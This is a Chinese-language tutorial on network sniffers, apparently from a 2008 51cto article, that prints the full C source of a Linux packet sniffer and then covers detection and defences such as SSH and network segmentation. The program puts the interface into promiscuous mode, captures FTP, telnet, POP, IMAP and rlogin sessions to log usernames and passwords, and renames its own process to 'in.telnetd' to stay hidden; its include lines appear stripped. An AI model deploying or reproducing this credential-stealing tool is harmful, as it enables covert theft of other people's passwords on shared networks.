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SNIFF原理解析

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Sniffer是一种常用的收集有用数据方法,这些数据可以是用户的帐号和密码,可以是一些商用机密数据等等。利用这一点,可以将一台计算机的网络连接设置为接受所有以太网总线上的数据,从而实现sniffer。

作者:51cto 2008年4月14日

关键字: 嗅探 网络嗅探 Sniffer 端口扫描

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  Sniffer是一种常用的收集有用数据方法,这些数据可以是用户的帐号和密码,可以是一些商用机密数据等等。为了对sniffer的工作原理有一个深入的了解,第二节给出了一个sniffer的源程序,并对它进行讲解。最后的第三节是探测和防范sniffer的介绍。

  第一节 Sniffer简介

  什么是以太网sniffing?

  以太网sniffing 是指对以太网设备上传送的数据包进行侦听,发现感兴趣的包。如果发现符合条件的包,就把它存到一个log文件中去。通常设置的这些条件是包含字"username"或"password"的包。

  它的目的是将网络层放到promiscuous模式,从而能干些事情。Promiscuous模式是指网络上的所有设备都对总线上传送的数据进行侦听,并不仅仅是它们自己的数据。根据第二章中有关对以太网的工作原理的基本介绍,可以知道:一个设备要向某一目标发送数据时,它是对以太网进行广播的。一个连到以太网总线上的设备在任何时间里都在接受数据。不过只是将属于自己的数据传给该计算机上的应用程序。

  利用这一点,可以将一台计算机的网络连接设置为接受所有以太网总线上的数据,从而实现sniffer。

  sniffer通常运行在路由器,或有路由器功能的主机上。这样就能对大量的数据进行监控。sniffer属第二层次的攻击。通常是攻击者已经进入了目标系统,然后使用sniffer这种攻击手段,以便得到更多的信息。

  sniffer除了能得到口令或用户名外,还能得到更多的其他信息,比如一个其他重要的信息,在网上传送的金融信息等等。sniffer几乎能得到任何以太网上的传送的数据包。

  有许多运行与不同平台上的sniffer程序。

  Linux tcpdump、DOS ETHLOAD、The Gobbler、LanPatrol、LanWatch 、Netmon、Netwatch、Netzhack

  上面的这些程序,可以从互连网上找到。

  使用sniffer程序或编写一个功能强大的sniffer程序需要一些网络方面的知识。因为如果没有恰当的设置这个程序,根本就不能从大量的数据中找出需要的信息。

  通常sniffer程序只看一个数据包的前200-300个字节的数据,就能发现想口令和用户名这样的信息。

  第二节 一个sniffer源程序

  下面是一个Linux以太网sniffer的源程序。可以根据需要加强这个程序。

  /* Linux sniffer.c 本程序已经在Red Hat 5.2上调试通过*/

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  int openintf(char *);

  int read_tcp(int);

  int filter(void);

  int print_header(void);

  int print_data(int, char *);

  char *hostlookup(unsigned long int);

  void clear_victim(void);

  void cleanup(int);

  struct etherpacket

  {

  struct ethhdr eth;

  struct iphdr ip;

  struct tcphdr tcp;

  char buff[8192];

  }ep;

  struct

  {

  unsigned long saddr;

  unsigned long daddr;

  unsigned short sport;

  unsigned short dport;

  int bytes_read;

  char active;

  time_t start_time;

  } victim;

  struct iphdr *ip;

  struct tcphdr *tcp;

  int s;

  FILE *fp;

  #define CAPTLEN 512

  #define TIMEOUT 30

  #define TCPLOG "tcp.log"

  int openintf(char *d)

  {

  int fd;

  struct ifreq ifr;

  int s;

  fd=socket(AF_INET, SOCK_PACKET, htons(0x800));

  if(fd <0)

  {

  perror("cant get SOCK_PACKET socket");

  exit(0);

  }

  strcpy(ifr.ifr_name, d);

  s=ioctl(fd, SIOCGIFFLAGS, &ifr);

  if(s <0)

  {

  close(fd);

  perror("cant get flags");

  exit(0);

  }

  ifr.ifr_flags |= IFF_PROMISC;

  s=ioctl(fd, SIOCSIFFLAGS, &ifr);

  if(s <0) perror("can not set promiscuous mode");

  return fd;

  }

  int read_tcp(int s)

  {

  int x;

  while(1)

  {

  x=read(s, (struct etherpacket *)&ep, sizeof(ep));

  if(x > 1)

  {

  if(filter()==0) continue;

  x=x-54;

  if(x <1) continue;

  return x;

  }

  }

  }

  int filter(void)

  {

  int p;

  p=0;

  if(ip->protocol != 6) return 0;

  if(victim.active != 0)

  if(victim.bytes_read > CAPTLEN)

  {

  fprintf(fp, " ----- [CAPLEN Exceeded] ");

  clear_victim();

  return 0;

  }

  if(victim.active != 0)

  if(time(NULL) > (victim.start_time + TIMEOUT))

  {

  fprintf(fp, " ----- [Timed Out] ");

  clear_victim();

  return 0;

  }

  if(ntohs(tcp->dest)==21) p=1; /* ftp */

  if(ntohs(tcp->dest)==23) p=1; /* telnet */

  if(ntohs(tcp->dest)==110) p=1; /* pop3 */

  if(ntohs(tcp->dest)==109) p=1; /* pop2 */

  if(ntohs(tcp->dest)==143) p=1; /* imap2 */

  if(ntohs(tcp->dest)==513) p=1; /* rlogin */

  if(ntohs(tcp->dest)==106) p=1; /* poppasswd */

  if(victim.active == 0)

  if(p == 1)

  if(tcp->syn == 1)

  {

  victim.saddr=ip->saddr;

  victim.daddr=ip->daddr;

  victim.active=1;

  victim.sport=tcp->source;

  victim.dport=tcp->dest;

  victim.bytes_read=0;

  victim.start_time=time(NULL);

  print_header();

  }

  if(tcp->dest != victim.dport) return 0;

  if(tcp->source != victim.sport) return 0;

  if(ip->saddr != victim.saddr) return 0;

  if(ip->daddr != victim.daddr) return 0;

  if(tcp->rst == 1)

  {

  victim.active=0;

  alarm(0);

  fprintf(fp, " ----- [RST] ");

  clear_victim();

  return 0;

  }

  if(tcp->fin == 1)

  {

  victim.active=0;

  alarm(0);

  fprintf(fp, " ----- [FIN] ");

  clear_victim();

  return 0;

  }

  return 1;

  }

  int print_header(void)

  {

  fprintf(fp, " ");

  fprintf(fp, "%s => ", hostlookup(ip->saddr));

  fprintf(fp, "%s [%d] ", hostlookup(ip->daddr), ntohs(tcp->dest));

  }

  int print_data(int datalen, char *data)

  {

  int i=0;

  int t=0;

  victim.bytes_read=victim.bytes_read+datalen;

  for(i=0;i != datalen;i++)

  {

  if(data[i] == 13) { fprintf(fp, " "); t=0; }

  if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}

  if(t > 75) {t=0;fprintf(fp, " ");}

  }

  }

  main(int argc, char **argv)

  {

  sprintf(argv[0],"%s","in.telnetd");

  s=openintf("eth0");

  ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);

  tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);

  signal(SIGHUP, SIG_IGN);

  signal(SIGINT, cleanup);

  signal(SIGTERM, cleanup);

  signal(SIGKILL, cleanup);

  signal(SIGQUIT, cleanup);

  if(argc == 2) fp=stdout;

  else fp=fopen(TCPLOG, "at");

  if(fp == NULL) { fprintf(stderr, "cant open log ");exit(0);}

  clear_victim();

  for(;;)

  {

  read_tcp(s);

  if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);

  fflush(fp);

  }

  }

  char *hostlookup(unsigned long int in)

  {

  static char blah[1024];

  struct in_addr i;

  struct hostent * he;

  i.s_addr=in;

  he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);

  if(he == NULL)

  strcpy(blah, inet_ntoa(i));

  else

  strcpy(blah,he->h_name);

  return blah;

  }

  void clear_victim(void)

  {

  victim.saddr=0;

  victim.daddr=0;

  victim.sport=0;

  victim.dport=0;

  victim.active=0;

  victim.bytes_read=0;

  victim.start_time=0;

  }

  void cleanup(int sig)

  {

  fprintf(fp, "Exiting... ");

  close(s);

  fclose(fp);

  exit(0);

  }

  下面对上面的程序作一个介绍。结构etherpacket定义了一个数据包。其中的ethhdr,iphdr,和tcphdr分别是三个结构,用来定义以太网帧,IP数据包头和TCP数据包头的格式。

  它们在头文件中的定义如下:

  struct ethhdr

  {

  unsigned char h_dest[ETH_ALEN]; /* destination eth addr */

  unsigned char h_source[ETH_ALEN]; /* source ether addr */

  unsigned short h_proto; /* packet type ID field */

  };

  struct iphdr

  {

  #if __BYTE_ORDER == __LITTLE_ENDIAN

  u_int8_t ihl:4;

  u_int8_t version:4;

  #elif __BYTE_ORDER == __BIG_ENDIAN

  u_int8_t version:4;

  u_int8_t ihl:4;

  #else

  #error "Please fix < bytesex.h>"

  #endif

  u_int8_t tos;

  u_int16_t tot_len;

  u_int16_t id;

  u_int16_t frag_off;

  u_int8_t ttl;

  u_int8_t protocol;

  u_int16_t check;

  u_int32_t saddr;

  u_int32_t daddr;

  /*The options start here. */

  };

  struct tcphdr

  {

  u_int16_t source;

  u_int16_t dest;

  u_int32_t seq;

  u_int32_t ack_seq;

  #if __BYTE_ORDER == __LITTLE_ENDIAN

  u_int16_t res1:4;

  u_int16_t doff:4;

  u_int16_t fin:1;

  u_int16_t syn:1;

  u_int16_t rst:1;

  u_int16_t psh:1;

  u_int16_t ack:1;

  u_int16_t urg:1;

  u_int16_t res2:2;

  #elif __BYTE_ORDER == __BIG_ENDIAN

  u_int16_t doff:4;

  u_int16_t res1:4;

  u_int16_t res2:2;

  u_int16_t urg:1;

  u_int16_t ack:1;

  u_int16_t psh:1;

  u_int16_t rst:1;

  u_int16_t syn:1;

  u_int16_t fin:1;

  #else

  #error "Adjust your < bits/endian.h> defines"

  #endif

  u_int16_t window;

  u_int16_t check;

  u_int16_t urg_ptr;

  };

  上述结构的具体含义可参见《TCP/IP协议简介》一章中的相关内容。接下来,定义了一个结构变量victim。

  随后,看一下函数int openintf(char *d),它的作用是打开一个网络接口。在main中是将eth0作为参数来调用这个函数。在这个函数中,用到了下面的结构:

  struct ifreq

  {

  #define IFHWADDRLEN 6

  #define IFNAMSIZ 16

  union

  {

  char ifrn_name[IFNAMSIZ]; /* Interface name, e.g. "en0". */

  } ifr_ifrn;

  union

  {

  struct sockaddr ifru_addr;

  struct sockaddr ifru_dstaddr;

  struct sockaddr ifru_broadaddr;

  struct sockaddr ifru_netmask;

  struct sockaddr ifru_hwaddr;

  short int ifru_flags;

  int ifru_ivalue;

  int ifru_mtu;

  struct ifmap ifru_map;

  char ifru_slave[IFNAMSIZ]; /* Just fits the size */

  __caddr_t ifru_data;

  } ifr_ifru;

  };

  这个结构叫接口请求结构,用来调用在I/O输入输出时使用。所有的接口I/O输出必须有一个参数,这个参数以ifr_name开头,后面的参数根据使用不同的网络接口而不同。

  如果你要看看你的计算机有哪些网络接口,使用命令ifconfig即可。一般你会看到两个接口lo0和eth0。在ifreq结构中的各个域的含义与ifconfig的输出是一一对应的。在这里,程序将eth0作为ifr_name来使用的。接着,该函数将这个网络接口设置成promiscuous模式。请记住,sniffer是工作在这种模式下的。

  再看一下函数read_tcp,它的作用是读取TCP数据包,传给filter处理。Filter函数是对上述读取的数据包进行处理。

  接下来的程序是将数据输出到文件中去。

  函数clearup是在程序退出等事件时,在文件中作个记录,并关闭文件。否则,你刚才做的记录都没了。

  第三节 怎样在一个网络上发现一个sniffer

  简单的一个回答是你发现不了。因为他们根本就没有留下任何痕迹。

  只有一个办法是看看计算机上当前正在运行的所有程序。但这通常并不可靠,但你可以控制哪个程序可以在你的计算机上运行。

  在Unix系统下使用下面的命令:

  ps -aux

  或:

  ps -augx

  这个命令列出当前的所有进程,启动这些进程的用户,它们占用CPU的时间,占用内存的多少等等。在Windows系统下,按下Ctrl+Alt+Del,看一下任务列表。不过,编程技巧高的Sniffer即使正在运行,也不会出现在这里的。另一个方法就是在系统中搜索,查找可怀疑的文件。但可能入侵者用的是他们自己写的程序,所以都给发现sniffer造成相当的困难。

  还有许多工具,能用来看看你的系统会不会在promiscuous模式。从而发现是否有一个sniffer正在运行。

  怎样防止被sniffer

  要防止sniffer并不困难,有许多可以选用的方法。但关键是都要有开销。所以问题在于你是否舍得开销。

  你最关心的可能是传输一些比较敏感的数据,如用户ID或口令等等。有些数据是没有经过处理的,一旦被sniffer,就能获得这些信息。解决这些问题的办法是加密。

  加密

  我们介绍以下SSH,它又叫Secure Shell。SSH是一个在应用程序中提供安全通信的协议。它是建立在客户机/服务器模型上的。SSH服务器的分配的端口是22。连接是通过使用一种来自RSA的算法建立的。在授权完成后,接下来的通信数据是用IDEA技术来加密的。这通常是较强的 ,适合与任何非秘密和非经典的通讯。

  SSH后来发展成为F-SSH,提供了高层次的,军方级别的对通信过程的加密。它为通过TCP/IP网络通信提供了通用的最强的加密。

  如果某个站点使用F-SSH,用户名和口令成为不是很重要的一点。目前,还没有人突破过这种加密方法。即使是sniffer,收集到的信息将不再有价值。当然最关键的是怎样使用它。

  SSH和F-SSH都有商业或自由软件版本存在。NT are available.

  还有其他的方法吗?

  另一个比较容易接受的是使用安全拓扑结构。这听上去很简单,但实现是很花钱的。

  玩过一种智力游戏吗,它通常有一系列数字组成。游戏的目的是要安排好数字,用最少的步骤,把它们按递减顺序排好。当处理网络拓扑时,就和玩这个游戏一样。

  下面是一些规则:

  一个网络段必须有足够的理由才能信任另一网络段。网络段应该考虑你的数据之间的信任关系上来设计,而不是硬件需要。

  这就建立了,让我们来看看。第一点:一个网络段是仅由能互相信任的计算机组成的。通常它们在同一个房间里,或在同一个办公室里。比如你的财务信息,应该固定在建筑的一部分。

  注意每台机器是通过硬连接线接到Hub的。Hub再接到交换机上。由于网络分段了,数据包只能在这个网段上别sniffer。其余的网段将不可能被sniffer。

  所有的问题都归结到信任上面。计算机为了和其他计算机进行通信,它就必须信任那台计算机。作为系统管理员,你的工作是决定一个方法,使得计算机之间的信任关系很小。这样,就建立了一种框架,你告诉你什么时候放置了一个sniffer,它放在那里了,是谁放的等等。

  如果你的局域网要和INTERNET相连,仅仅使用防火墙是不够的。入侵者已经能从一个防火墙后面扫描,并探测正在运行的服务。你要关心的是一旦入侵者进入系统,他能得到些什么。你必须考虑一条这样的路径,即信任关系有多长。举个例子,假设你的WEB服务器对某一计算机A是信任的。那么有多少计算机是A信任的呢。又有多少计算机是受这些计算机信任的呢?用一句话,就是确定最小信任关系的那台计算机。在信任关系中,这台计算机之前的任何一台计算机都可能对你的计算机进行攻击,并成功。你的任务就是保证一旦出现的sniffer,它只对最小范围有效。

  Sniffer往往是攻击者在侵入系统后使用的,用来收集有用的信息。因此,防止系统被突破是关键。系统安全管理员要定期的对所管理的网络进行安全测试,防止安全隐患。同时要控制拥有相当权限的用户的数量。请记住,许多攻击往往来自网络内部。

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